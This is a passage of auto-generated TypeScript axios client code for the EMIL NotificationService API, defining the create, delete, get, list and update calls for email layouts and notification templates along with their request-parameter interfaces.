* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getLayout(id: number, id2: number, authorization?: string, options?: any): AxiosPromise<GetLayoutResponseClass> {
return localVarFp.getLayout(id, id2, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listLayouts(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListLayoutsResponseClass> {
return localVarFp.listLayouts(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateLayout(id: number, updateLayoutRequestDto: UpdateLayoutRequestDto, authorization?: string, options?: any): AxiosPromise<UpdateLayoutResponseClass> {
return localVarFp.updateLayout(id, updateLayoutRequestDto, authorization, options).then((request) => request(axios, basePath));
},
};
};
/**
* Request parameters for createLayout operation in LayoutsApi.
* @export
* @interface LayoutsApiCreateLayoutRequest
*/
export interface LayoutsApiCreateLayoutRequest {
/**
*
* @type {CreateLayoutRequestDto}
* @memberof LayoutsApiCreateLayout
*/
readonly createLayoutRequestDto: CreateLayoutRequestDto
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiCreateLayout
*/
readonly authorization?: string
}
/**
* Request parameters for deleteLayout operation in LayoutsApi.
* @export
* @interface LayoutsApiDeleteLayoutRequest
*/
export interface LayoutsApiDeleteLayoutRequest {
/**
*
* @type {number}
* @memberof LayoutsApiDeleteLayout
*/
readonly id: number
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiDeleteLayout
*/
readonly authorization?: string
}
/**
* Request parameters for getLayout operation in LayoutsApi.
* @export
* @interface LayoutsApiGetLayoutRequest
*/
export interface LayoutsApiGetLayoutRequest {
/**
*
* @type {number}
* @memberof LayoutsApiGetLayout
*/
readonly id: number
/**
* Layout id
* @type {number}
* @memberof LayoutsApiGetLayout
*/
readonly id2: number
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiGetLayout
*/
readonly authorization?: string
}
/**
* Request parameters for listLayouts operation in LayoutsApi.
* @export
* @interface LayoutsApiListLayoutsRequest
*/
export interface LayoutsApiListLayoutsRequest {
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly authorization?: string
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof LayoutsApiListLayouts
*/
readonly pageSize?: number
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly pageToken?: string
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly filter?: string
/**
* To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly search?: string
/**
* The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly order?: string
/**
* Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly expand?: string
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly filters?: string
}
/**
* Request parameters for updateLayout operation in LayoutsApi.
* @export
* @interface LayoutsApiUpdateLayoutRequest
*/
export interface LayoutsApiUpdateLayoutRequest {
/**
*
* @type {number}
* @memberof LayoutsApiUpdateLayout
*/
readonly id: number
/**
*
* @type {UpdateLayoutRequestDto}
* @memberof LayoutsApiUpdateLayout
*/
readonly updateLayoutRequestDto: UpdateLayoutRequestDto
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiUpdateLayout
*/
readonly authorization?: string
}
/**
* LayoutsApi - object-oriented interface
* @export
* @class LayoutsApi
* @extends {BaseAPI}
*/
export class LayoutsApi extends BaseAPI {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {LayoutsApiCreateLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
public createLayout(requestParameters: LayoutsApiCreateLayoutRequest, options?: AxiosRequestConfig) {
return LayoutsApiFp(this.configuration).createLayout(requestParameters.createLayoutRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {LayoutsApiDeleteLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
public deleteLayout(requestParameters: LayoutsApiDeleteLayoutRequest, options?: AxiosRequestConfig) {
return LayoutsApiFp(this.configuration).deleteLayout(requestParameters.id, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {LayoutsApiGetLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
public getLayout(requestParameters: LayoutsApiGetLayoutRequest, options?: AxiosRequestConfig) {
return LayoutsApiFp(this.configuration).getLayout(requestParameters.id, requestParameters.id2, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {LayoutsApiListLayoutsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
public listLayouts(requestParameters: LayoutsApiListLayoutsRequest = {}, options?: AxiosRequestConfig) {
return LayoutsApiFp(this.configuration).listLayouts(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {LayoutsApiUpdateLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
public updateLayout(requestParameters: LayoutsApiUpdateLayoutRequest, options?: AxiosRequestConfig) {
return LayoutsApiFp(this.configuration).updateLayout(requestParameters.id, requestParameters.updateLayoutRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base';
// @ts-ignore
import { CreateNotificationTemplateRequestDto } from '../models';
// @ts-ignore
import { CreateNotificationTemplateResponseClass } from '../models';
// @ts-ignore
import { GetNotificationTemplateResponseClass } from '../models';
// @ts-ignore
import { ListNotificationTemplatesResponseClass } from '../models';
// @ts-ignore
import { UpdateNotificationTemplateRequestDto } from '../models';
// @ts-ignore
import { UpdateNotificationTemplateResponseClass } from '../models';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
const FormData = require('form-data');
/**
* NotificationTemplatesApi - axios parameter creator
* @export
*/
export const NotificationTemplatesApiAxiosParamCreator = function (configuration?: Configuration) {
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createNotificationTemplate: async (createNotificationTemplateRequestDto: CreateNotificationTemplateRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'createNotificationTemplateRequestDto' is not null or undefined
assertParamExists('createNotificationTemplate', 'createNotificationTemplateRequestDto', createNotificationTemplateRequestDto)
const localVarPath = `/notificationservice/v1/notification-templates`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
localVarRequestOptions.data = serializeDataIfNeeded(createNotificationTemplateRequestDto, localVarRequestOptions, configuration)
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteNotificationTemplate: async (id: number, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'id' is not null or undefined
assertParamExists('deleteNotificationTemplate', 'id', id)
const localVarPath = `/notificationservice/v1/notification-templates/{id}`
.replace(`{${"id"}}`, encodeURIComponent(String(id)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'DELETE', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getNotificationTemplate: async (id: number, id2: number, authorization?: string, expand?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'id' is not null or undefined
assertParamExists('getNotificationTemplate', 'id', id)
// verify required parameter 'id2' is not null or undefined
assertParamExists('getNotificationTemplate', 'id2', id2)
const localVarPath = `/notificationservice/v1/notification-templates/{id}`
.replace(`{${"id"}}`, encodeURIComponent(String(id)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (id2 !== undefined) {
localVarQueryParameter['id'] = id2;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listNotificationTemplates: async (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
const localVarPath = `/notificationservice/v1/notification-templates`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (pageSize !== undefined) {
localVarQueryParameter['pageSize'] = pageSize;
}
if (pageToken !== undefined) {
localVarQueryParameter['pageToken'] = pageToken;
}
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (search !== undefined) {
localVarQueryParameter['search'] = search;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateNotificationTemplate: async (id: number, updateNotificationTemplateRequestDto: UpdateNotificationTemplateRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'id' is not null or undefined
assertParamExists('updateNotificationTemplate', 'id', id)
// verify required parameter 'updateNotificationTemplateRequestDto' is not null or undefined
assertParamExists('updateNotificationTemplate', 'updateNotificationTemplateRequestDto', updateNotificationTemplateRequestDto)
const localVarPath = `/notificationservice/v1/notification-templates/{id}`
.replace(`{${"id"}}`, encodeURIComponent(String(id)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'PUT', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
localVarRequestOptions.data = serializeDataIfNeeded(updateNotificationTemplateRequestDto, localVarRequestOptions, configuration)
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
}
};
/**
* NotificationTemplatesApi - functional programming interface
* @export
*/
export const NotificationTemplatesApiFp = function(configuration?: Configuration) {
const localVarAxiosParamCreator = NotificationTemplatesApiAxiosParamCreator(configuration)
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async createNotificationTemplate(createNotificationTemplateRequestDto: CreateNotificationTemplateRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateNotificationTemplateResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.createNotificationTemplate(createNotificationTemplateRequestDto, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async deleteNotificationTemplate(id: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<object>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.deleteNotificationTemplate(id, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async getNotificationTemplate(id: number, id2: number, authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetNotificationTemplateResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.getNotificationTemplate(id, id2, authorization, expand, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async listNotificationTemplates(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListNotificationTemplatesResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.listNotificationTemplates(authorization, pageSize, pageToken, filter, search, order, expand, filters, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async updateNotificationTemplate(id: number, updateNotificationTemplateRequestDto: UpdateNotificationTemplateRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<UpdateNotificationTemplateResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.updateNotificationTemplate(id, updateNotificationTemplateRequestDto, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
}
};
/**
* NotificationTemplatesApi - factory interface
* @export
*/
export const NotificationTemplatesApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) {
const localVarFp = NotificationTemplatesApiFp(configuration)
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createNotificationTemplate(createNotificationTemplateRequestDto: CreateNotificationTemplateRequestDto, authorization?: string, options?: any): AxiosPromise<CreateNotificationTemplateResponseClass> {
return localVarFp.createNotificationTemplate(createNotificationTemplateRequestDto, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteNotificationTemplate(id: number, authorization?: string, options?: any): AxiosPromise<object> {
return localVarFp.deleteNotificationTemplate(id, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getNotificationTemplate(id: number, id2: number, authorization?: string, expand?: string, options?: any): AxiosPromise<GetNotificationTemplateResponseClass> {
return localVarFp.getNotificationTemplate(id, id2, authorization, expand, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listNotificationTemplates(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListNotificationTemplatesResponseClass> {
return localVarFp.listNotificationTemplates(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateNotificationTemplate(id: number, updateNotificationTemplateRequestDto: UpdateNotificationTemplateRequestDto, authorization?: string, options?: any): AxiosPromise<UpdateNotificationTemplateResponseClass> {
return localVarFp.updateNotificationTemplate(id, updateNotificationTemplateRequestDto, authorization, options).then((request) => request(axios, basePath));
},
};
};
/**
* Request parameters for createNotificationTemplate operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiCreateNotificationTemplateRequest
*/
export interface NotificationTemplatesApiCreateNotificationTemplateRequest {
/**
*
* @type {CreateNotificationTemplateRequestDto}
* @memberof NotificationTemplatesApiCreateNotificationTemplate
*/
readonly createNotificationTemplateRequestDto: CreateNotificationTemplateRequestDto
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiCreateNotificationTemplate
*/
readonly authorization?: string
}
/**
* Request parameters for deleteNotificationTemplate operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiDeleteNotificationTemplateRequest
*/
export interface NotificationTemplatesApiDeleteNotificationTemplateRequest {
/**
*
* @type {number}
* @memberof NotificationTemplatesApiDeleteNotificationTemplate
*/
readonly id: number
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiDeleteNotificationTemplate
*/
readonly authorization?: string
}
/**
* Request parameters for getNotificationTemplate operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiGetNotificationTemplateRequest
*/
export interface NotificationTemplatesApiGetNotificationTemplateRequest {
/**
*
* @type {number}
* @memberof NotificationTemplatesApiGetNotificationTemplate
*/
readonly id: number
/**
*
* @type {number}
* @memberof NotificationTemplatesApiGetNotificationTemplate
*/
readonly id2: number
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiGetNotificationTemplate
*/
readonly authorization?: string
/**
*
* @type {string}
* @memberof NotificationTemplatesApiGetNotificationTemplate
*/
readonly expand?: string
}
/**
* Request parameters for listNotificationTemplates operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiListNotificationTemplatesRequest
*/
export interface NotificationTemplatesApiListNotificationTemplatesRequest {
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly authorization?: string
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly pageSize?: number
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly pageToken?: string
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly filter?: string
/**
* To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly search?: string
/**
